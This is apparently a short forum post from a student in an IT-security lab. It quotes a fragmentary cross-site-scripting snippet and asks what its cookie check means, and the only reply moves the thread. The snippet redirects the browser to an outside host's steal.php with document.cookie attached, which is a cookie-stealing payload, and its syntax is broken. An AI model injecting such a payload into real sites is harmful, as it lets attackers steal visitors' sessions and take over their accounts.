Help needed in IT- Security

i have a lab in it security
document.cookie.indexOf(“steal”) < 0) {
document.cookie = “steal=true”;
document.location.replace(
“http://tor.ei.ee.de/~IRA1878782/steal.php”
+ “?what=” + document.cookie)
+ “+whatnext=https://
http://tor.ei.ee.de/~IRA1878782/cookies.html
</script>
can anyone explain to me what this means document.cookie.indexOf(“steal”) < 0) plzzz
Answer #1
This topic has been posted in the wrong section.
Moving.